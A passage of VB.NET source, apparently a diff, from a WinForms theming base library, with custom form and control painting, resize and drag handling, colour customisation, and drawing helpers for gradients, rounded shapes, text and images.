_IsParentForm = TypeOf Parent Is Form + + If Not _ControlMode Then + InitializeMessages() + + If _IsParentForm Then + ParentForm.FormBorderStyle = _BorderStyle + ParentForm.TransparencyKey = _TransparencyKey + + If Not DesignMode Then + AddHandler ParentForm.Shown, AddressOf FormShown + End If + End If + + Parent.BackColor = BackColor + End If + + OnCreation() + DoneCreation = True + InvalidateTimer() + End Sub + +#End Region + + Private Sub DoAnimation(ByVal i As Boolean) + OnAnimation() + If i Then Invalidate() + End Sub + + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + + If _Transparent AndAlso _ControlMode Then + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + Else + G = e.Graphics + PaintHook() + End If + End Sub + + Protected Overrides Sub OnHandleDestroyed(ByVal e As EventArgs) + RemoveAnimationCallback(AddressOf DoAnimation) + MyBase.OnHandleDestroyed(e) + End Sub + + Private HasShown As Boolean + Private Sub FormShown(ByVal sender As Object, ByVal e As EventArgs) + If _ControlMode OrElse HasShown Then Return + + If _StartPosition = FormStartPosition.CenterParent OrElse _StartPosition = FormStartPosition.CenterScreen Then + Dim SB As Rectangle = Screen.PrimaryScreen.Bounds + Dim CB As Rectangle = ParentForm.Bounds + ParentForm.Location = New Point(SB.Width \ 2 - CB.Width \ 2, SB.Height \ 2 - CB.Width \ 2) + End If + + HasShown = True + End Sub + + +#Region " Size Handling " + + Private Frame As Rectangle + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Movable AndAlso Not _ControlMode Then + Frame = New Rectangle(7, 7, Width - 14, _Header - 7) + End If + + InvalidateBitmap() + Invalidate() + + MyBase.OnSizeChanged(e) + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + +#End Region + +#Region " State Handling " + + Protected State As MouseState + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If Not (_IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized) Then + If _Sizable AndAlso Not _ControlMode Then InvalidateMouse() + End If + + MyBase.OnMouseMove(e) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + SetState(MouseState.None) + + If GetChildAtPoint(PointToClient(MousePosition)) IsNot Nothing Then + If _Sizable AndAlso Not _ControlMode Then + Cursor = Cursors.Default + Previous = 0 + End If + End If + + MyBase.OnMouseLeave(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then SetState(MouseState.Down) + + If Not (_IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized OrElse _ControlMode) Then + If _Movable AndAlso Frame.Contains(e.Location) Then + Capture = False + WM_LMBUTTONDOWN = True + DefWndProc(Messages(0)) + ElseIf _Sizable AndAlso Not Previous = 0 Then + Capture = False + WM_LMBUTTONDOWN = True + DefWndProc(Messages(Previous)) + End If + End If + + MyBase.OnMouseDown(e) + End Sub + + Private WM_LMBUTTONDOWN As Boolean + Protected Overrides Sub WndProc(ByRef m As Message) + MyBase.WndProc(m) + + If WM_LMBUTTONDOWN AndAlso m.Msg = 513 Then + WM_LMBUTTONDOWN = False + + SetState(MouseState.Over) + If Not _SmartBounds Then Return + + If IsParentMdi Then + CorrectBounds(New Rectangle(Point.Empty, Parent.Parent.Size)) + Else + CorrectBounds(Screen.FromControl(Parent).WorkingArea) + End If + End If + End Sub + + Private GetIndexPoint As Point + Private B1, B2, B3, B4 As Boolean + Private Function GetIndex() As Integer + GetIndexPoint = PointToClient(MousePosition) + B1 = GetIndexPoint.X < 7 + B2 = GetIndexPoint.X > Width - 7 + B3 = GetIndexPoint.Y < 7 + B4 = GetIndexPoint.Y > Height - 7 + + If B1 AndAlso B3 Then Return 4 + If B1 AndAlso B4 Then Return 7 + If B2 AndAlso B3 Then Return 5 + If B2 AndAlso B4 Then Return 8 + If B1 Then Return 1 + If B2 Then Return 2 + If B3 Then Return 3 + If B4 Then Return 6 + Return 0 + End Function + + Private Current, Previous As Integer + Private Sub InvalidateMouse() + Current = GetIndex() + If Current = Previous Then Return + + Previous = Current + Select Case Previous + Case 0 + Cursor = Cursors.Default + Case 1, 2 + Cursor = Cursors.SizeWE + Case 3, 6 + Cursor = Cursors.SizeNS + Case 4, 8 + Cursor = Cursors.SizeNWSE + Case 5, 7 + Cursor = Cursors.SizeNESW + End Select + End Sub + + Private Messages(8) As Message + Private Sub InitializeMessages() + Messages(0) = Message.Create(Parent.Handle, 161, New IntPtr(2), IntPtr.Zero) + For I As Integer = 1 To 8 + Messages(I) = Message.Create(Parent.Handle, 161, New IntPtr(I + 9), IntPtr.Zero) + Next + End Sub + + Private Sub CorrectBounds(ByVal bounds As Rectangle) + If Parent.Width > bounds.Width Then Parent.Width = bounds.Width + If Parent.Height > bounds.Height Then Parent.Height = bounds.Height + + Dim X As Integer = Parent.Location.X + Dim Y As Integer = Parent.Location.Y + + If X < bounds.X Then X = bounds.X + If Y < bounds.Y Then Y = bounds.Y + + Dim Width As Integer = bounds.X + bounds.Width + Dim Height As Integer = bounds.Y + bounds.Height + + If X + Parent.Width > Width Then X = Width - Parent.Width + If Y + Parent.Height > Height Then Y = Height - Parent.Height + + Parent.Location = New Point(X, Y) + End Sub + +#End Region + + +#Region " Base Properties " + + Overrides Property Dock As DockStyle + Get + Return MyBase.Dock + End Get + Set(ByVal value As DockStyle) + If Not _ControlMode Then Return + MyBase.Dock = value + End Set + End Property + + Private _BackColor As Boolean + _ + Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + If value = MyBase.BackColor Then Return + + If Not IsHandleCreated AndAlso _ControlMode AndAlso value = Color.Transparent Then + _BackColor = True + Return + End If + + MyBase.BackColor = value + If Parent IsNot Nothing Then + If Not _ControlMode Then Parent.BackColor = value + ColorHook() + End If + End Set + End Property + + Overrides Property MinimumSize As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + If Parent IsNot Nothing Then Parent.MinimumSize = value + End Set + End Property + + Overrides Property MaximumSize As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + If Parent IsNot Nothing Then Parent.MaximumSize = value + End Set + End Property + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + + Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + + _ + Overrides Property ForeColor() As Color + Get + Return Color.Empty + End Get + Set(ByVal value As Color) + End Set + End Property + _ + Overrides Property BackgroundImage() As Image + Get + Return Nothing + End Get + Set(ByVal value As Image) + End Set + End Property + _ + Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return ImageLayout.None + End Get + Set(ByVal value As ImageLayout) + End Set + End Property + +#End Region + +#Region " Public Properties " + + Private _SmartBounds As Boolean = True + Property SmartBounds() As Boolean + Get + Return _SmartBounds + End Get + Set(ByVal value As Boolean) + _SmartBounds = value + End Set + End Property + + Private _Movable As Boolean = True + Property Movable() As Boolean + Get + Return _Movable + End Get + Set(ByVal value As Boolean) + _Movable = value + End Set + End Property + + Private _Sizable As Boolean = True + Property Sizable() As Boolean + Get + Return _Sizable + End Get + Set(ByVal value As Boolean) + _Sizable = value + End Set + End Property + + Private _TransparencyKey As Color + Property TransparencyKey() As Color + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.TransparencyKey Else Return _TransparencyKey + End Get + Set(ByVal value As Color) + If value = _TransparencyKey Then Return + _TransparencyKey = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.TransparencyKey = value + ColorHook() + End If + End Set + End Property + + Private _BorderStyle As FormBorderStyle + Property BorderStyle() As FormBorderStyle + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.FormBorderStyle Else Return _BorderStyle + End Get + Set(ByVal value As FormBorderStyle) + _BorderStyle = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.FormBorderStyle = value + + If Not value = FormBorderStyle.None Then + Movable = False + Sizable = False + End If + End If + End Set + End Property + + Private _StartPosition As FormStartPosition + Property StartPosition As FormStartPosition + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.StartPosition Else Return _StartPosition + End Get + Set(ByVal value As FormStartPosition) + _StartPosition = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.StartPosition = value + End If + End Set + End Property + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + If value Is Nothing Then _ImageSize = Size.Empty Else _ImageSize = value.Size + + _Image = value + Invalidate() + End Set + End Property + + Private Items As New Dictionary(Of String, Color) + Property Colors() As Bloom() + Get + Dim T As New List(Of Bloom) + Dim E As Dictionary(Of String, Color).Enumerator = Items.GetEnumerator + + While E.MoveNext + T.Add(New Bloom(E.Current.Key, E.Current.Value)) + End While + + Return T.ToArray + End Get + Set(ByVal value As Bloom()) + For Each B As Bloom In value + If Items.ContainsKey(B.Name) Then Items(B.Name) = B.Value + Next + + InvalidateCustimization() + ColorHook() + Invalidate() + End Set + End Property + + Private _Customization As String + Property Customization() As String + Get + Return _Customization + End Get + Set(ByVal value As String) + If value = _Customization Then Return + + Dim Data As Byte() + Dim Items As Bloom() = Colors + + Try + Data = Convert.FromBase64String(value) + For I As Integer = 0 To Items.Length - 1 + Items(I).Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)) + Next + Catch + Return + End Try + + _Customization = value + + Colors = Items + ColorHook() + Invalidate() + End Set + End Property + + Private _Transparent As Boolean + Property Transparent() As Boolean + Get + Return _Transparent + End Get + Set(ByVal value As Boolean) + _Transparent = value + If Not (IsHandleCreated OrElse _ControlMode) Then Return + + If Not value AndAlso Not BackColor.A = 255 Then + Throw New Exception("Unable to change value to false while a transparent BackColor is in use.") + End If + + SetStyle(ControlStyles.Opaque, Not value) + SetStyle(ControlStyles.SupportsTransparentBackColor, value) + + InvalidateBitmap() + Invalidate() + End Set + End Property + +#End Region + +#Region " Private Properties " + + Private _ImageSize As Size + Protected ReadOnly Property ImageSize() As Size + Get + Return _ImageSize + End Get + End Property + + Private _IsParentForm As Boolean + Protected ReadOnly Property IsParentForm As Boolean + Get + Return _IsParentForm + End Get + End Property + + Protected ReadOnly Property IsParentMdi As Boolean + Get + If Parent Is Nothing Then Return False + Return Parent.Parent IsNot Nothing + End Get + End Property + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + + Private _Header As Integer = 24 + Protected Property Header() As Integer + Get + Return _Header + End Get + Set(ByVal v As Integer) + _Header = v + + If Not _ControlMode Then + Frame = New Rectangle(7, 7, Width - 14, v - 7) + Invalidate() + End If + End Set + End Property + + Private _ControlMode As Boolean + Protected Property ControlMode() As Boolean + Get + Return _ControlMode + End Get + Set(ByVal v As Boolean) + _ControlMode = v + + Transparent = _Transparent + If _Transparent AndAlso _BackColor Then BackColor = Color.Transparent + + InvalidateBitmap() + Invalidate() + End Set + End Property + + Private _IsAnimated As Boolean + Protected Property IsAnimated() As Boolean + Get + Return _IsAnimated + End Get + Set(ByVal value As Boolean) + _IsAnimated = value + InvalidateTimer() + End Set + End Property + +#End Region + + +#Region " Property Helpers " + + Protected Function GetPen(ByVal name As String) As Pen + Return New Pen(Items(name)) + End Function + Protected Function GetPen(ByVal name As String, ByVal width As Single) As Pen + Return New Pen(Items(name), width) + End Function + + Protected Function GetBrush(ByVal name As String) As SolidBrush + Return New SolidBrush(Items(name)) + End Function + + Protected Function GetColor(ByVal name As String) As Color + Return Items(name) + End Function + + Protected Sub SetColor(ByVal name As String, ByVal value As Color) + If Items.ContainsKey(name) Then Items(name) = value Else Items.Add(name, value) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(a, r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal value As Color) + SetColor(name, Color.FromArgb(a, value)) + End Sub + + Private Sub InvalidateBitmap() + If _Transparent AndAlso _ControlMode Then + If Width = 0 OrElse Height = 0 Then Return + B = New Bitmap(Width, Height, PixelFormat.Format32bppPArgb) + G = Graphics.FromImage(B) + Else + G = Nothing + B = Nothing + End If + End Sub + + Private Sub InvalidateCustimization() + Dim M As New MemoryStream(Items.Count * 4) + + For Each B As Bloom In Colors + M.Write(BitConverter.GetBytes(B.Value.ToArgb), 0, 4) + Next + + M.Close() + _Customization = Convert.ToBase64String(M.ToArray) + End Sub + + Private Sub InvalidateTimer() + If DesignMode OrElse Not DoneCreation Then Return + + If _IsAnimated Then + AddAnimationCallback(AddressOf DoAnimation) + Else + RemoveAnimationCallback(AddressOf DoAnimation) + End If + End Sub + +#End Region + + +#Region " User Hooks " + + Protected MustOverride Sub ColorHook() + Protected MustOverride Sub PaintHook() + + Protected Overridable Sub OnCreation() + End Sub + + Protected Overridable Sub OnAnimation() + End Sub + +#End Region + + +#Region " Offset " + + Private OffsetReturnRectangle As Rectangle + Protected Function Offset(ByVal r As Rectangle, ByVal amount As Integer) As Rectangle + OffsetReturnRectangle = New Rectangle(r.X + amount, r.Y + amount, r.Width - (amount * 2), r.Height - (amount * 2)) + Return OffsetReturnRectangle + End Function + + Private OffsetReturnSize As Size + Protected Function Offset(ByVal s As Size, ByVal amount As Integer) As Size + OffsetReturnSize = New Size(s.Width + amount, s.Height + amount) + Return OffsetReturnSize + End Function + + Private OffsetReturnPoint As Point + Protected Function Offset(ByVal p As Point, ByVal amount As Integer) As Point + OffsetReturnPoint = New Point(p.X + amount, p.Y + amount) + Return OffsetReturnPoint + End Function + +#End Region + +#Region " Center " + + Private CenterReturn As Point + + Protected Function Center(ByVal p As Rectangle, ByVal c As Rectangle) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X + c.X, (p.Height \ 2 - c.Height \ 2) + p.Y + c.Y) + Return CenterReturn + End Function + Protected Function Center(ByVal p As Rectangle, ByVal c As Size) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X, (p.Height \ 2 - c.Height \ 2) + p.Y) + Return CenterReturn + End Function + + Protected Function Center(ByVal child As Rectangle) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal child As Size) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal childWidth As Integer, ByVal childHeight As Integer) As Point + Return Center(Width, Height, childWidth, childHeight) + End Function + + Protected Function Center(ByVal p As Size, ByVal c As Size) As Point + Return Center(p.Width, p.Height, c.Width, c.Height) + End Function + + Protected Function Center(ByVal pWidth As Integer, ByVal pHeight As Integer, ByVal cWidth As Integer, ByVal cHeight As Integer) As Point + CenterReturn = New Point(pWidth \ 2 - cWidth \ 2, pHeight \ 2 - cHeight \ 2) + Return CenterReturn + End Function + +#End Region + +#Region " Measure " + + Private MeasureBitmap As Bitmap + Private MeasureGraphics As Graphics + + Protected Function Measure() As Size + SyncLock MeasureGraphics + Return MeasureGraphics.MeasureString(Text, Font, Width).ToSize + End SyncLock + End Function + Protected Function Measure(ByVal text As String) As Size + SyncLock MeasureGraphics + Return MeasureGraphics.MeasureString(text, Font, Width).ToSize + End SyncLock + End Function + +#End Region + + +#Region " DrawPixel " + + Private DrawPixelBrush As SolidBrush + + Protected Sub DrawPixel(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer) + If _Transparent Then + B.SetPixel(x, y, c1) + Else + DrawPixelBrush = New SolidBrush(c1) + G.FillRectangle(DrawPixelBrush, x, y, 1, 1) + End If + End Sub + +#End Region + +#Region " DrawCorners " + + Private DrawCornersBrush As SolidBrush + + Protected Sub DrawCorners(ByVal c1 As Color, ByVal offset As Integer) + DrawCorners(c1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle, ByVal offset As Integer) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawCorners(c1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawCorners(ByVal c1 As Color) + DrawCorners(c1, 0, 0, Width, Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + If _NoRounding Then Return + + If _Transparent Then + B.SetPixel(x, y, c1) + B.SetPixel(x + (width - 1), y, c1) + B.SetPixel(x, y + (height - 1), c1) + B.SetPixel(x + (width - 1), y + (height - 1), c1) + Else + DrawCornersBrush = New SolidBrush(c1) + G.FillRectangle(DrawCornersBrush, x, y, 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1) + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1) + End If + End Sub + +#End Region + +#Region " DrawBorders " + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal offset As Integer) + DrawBorders(p1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle, ByVal offset As Integer) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen) + DrawBorders(p1, 0, 0, Width, Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + G.DrawRectangle(p1, x, y, width - 1, height - 1) + End Sub + +#End Region + +#Region " DrawText " + + Private DrawTextPoint As Point + Private DrawTextSize As Size + + Protected Sub DrawText(ByVal b1 As Brush, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, a, x, y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + + DrawTextSize = Measure(text) + DrawTextPoint = New Point(Width \ 2 - DrawTextSize.Width \ 2, Header \ 2 - DrawTextSize.Height \ 2) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(text, Font, b1, x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Center + G.DrawString(text, Font, b1, DrawTextPoint.X + x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Right + G.DrawString(text, Font, b1, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y) + End Select + End Sub + + Protected Sub DrawText(ByVal b1 As Brush, ByVal p1 As Point) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, p1) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal x As Integer, ByVal y As Integer) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, x, y) + End Sub + +#End Region + +#Region " DrawImage " + + Private DrawImagePoint As Point + + Protected Sub DrawImage(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, a, x, y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + DrawImagePoint = New Point(Width \ 2 - image.Width \ 2, Header \ 2 - image.Height \ 2) + + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(image, x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Center + G.DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Right + G.DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y, image.Width, image.Height) + End Select + End Sub + + Protected Sub DrawImage(ByVal p1 As Point) + DrawImage(_Image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, x, y) + End Sub + + Protected Sub DrawImage(ByVal image As Image, ByVal p1 As Point) + DrawImage(image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + G.DrawImage(image, x, y, image.Width, image.Height) + End Sub + +#End Region + +#Region " DrawGradient " + + Private DrawGradientBrush As LinearGradientBrush + Private DrawGradientRectangle As Rectangle + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, 90.0F) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, angle) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, angle) + G.FillRectangle(DrawGradientBrush, r) + End Sub + +#End Region + +#Region " DrawRadial " + + Private DrawRadialPath As GraphicsPath + Private DrawRadialBrush1 As PathGradientBrush + Private DrawRadialBrush2 As LinearGradientBrush + Private DrawRadialRectangle As Rectangle + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, width \ 2, height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal center As Point) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, cx, cy) + End Sub + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawRadial(blend, r, r.Width \ 2, r.Height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal center As Point) + DrawRadial(blend, r, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialPath.Reset() + DrawRadialPath.AddEllipse(r.X, r.Y, r.Width - 1, r.Height - 1) + + DrawRadialBrush1 = New PathGradientBrush(DrawRadialPath) + DrawRadialBrush1.CenterPoint = New Point(r.X + cx, r.Y + cy) + DrawRadialBrush1.InterpolationColors = blend + + If G.SmoothingMode = SmoothingMode.AntiAlias Then + G.FillEllipse(DrawRadialBrush1, r.X + 1, r.Y + 1, r.Width - 3, r.Height - 3) + Else + G.FillEllipse(DrawRadialBrush1, r) + End If + End Sub + + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawGradientRectangle) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, angle) + G.FillEllipse(DrawGradientBrush, r) + End Sub + +#End Region + +#Region " CreateRound " + + Private CreateRoundPath As GraphicsPath + Private CreateRoundRectangle As Rectangle + + Function CreateRound(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal slope As Integer) As GraphicsPath + CreateRoundRectangle = New Rectangle(x, y, width, height) + Return CreateRound(CreateRoundRectangle, slope) + End Function + + Function CreateRound(ByVal r As Rectangle, ByVal slope As Integer) As GraphicsPath + CreateRoundPath = New GraphicsPath(FillMode.Winding) + CreateRoundPath.AddArc(r.X, r.Y, slope, slope, 180.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Y, slope, slope, 270.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Bottom - slope, slope, slope, 0.0F, 90.0F) + CreateRoundPath.AddArc(r.X, r.Bottom - slope, slope, slope, 90.0F, 90.0F) + CreateRoundPath.CloseFigure() + Return CreateRoundPath + End Function + +#End Region + +End Class + +MustInherit Class ThemeControl154 + Inherits Control + + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + + _ImageSize = Size.Empty + Font = New Font("Verdana", 8S) + + MeasureBitmap = New Bitmap(1, 1) + MeasureGraphics = Graphics.FromImage(MeasureBitmap) + + DrawRadialPath = New GraphicsPath + + InvalidateCustimization() 'Remove? + End Sub + + Protected NotOverridable Overrides Sub OnHandleCreated(ByVal e As EventArgs) + InvalidateCustimization() + ColorHook() + + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + + Transparent = _Transparent + If _Transparent AndAlso _BackColor Then BackColor = Color.Transparent + + MyBase.OnHandleCreated(e) + End Sub + + Private DoneCreation As Boolean + Protected NotOverridable Overrides Sub OnParentChanged(ByVal e As EventArgs) + If Parent IsNot Nothing Then + OnCreation() + DoneCreation = True + InvalidateTimer() + End If + + MyBase.OnParentChanged(e) + End Sub + +#End Region + + Private Sub DoAnimation(ByVal i As Boolean) + OnAnimation() + If i Then Invalidate() + End Sub + + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + + If _Transparent Then + 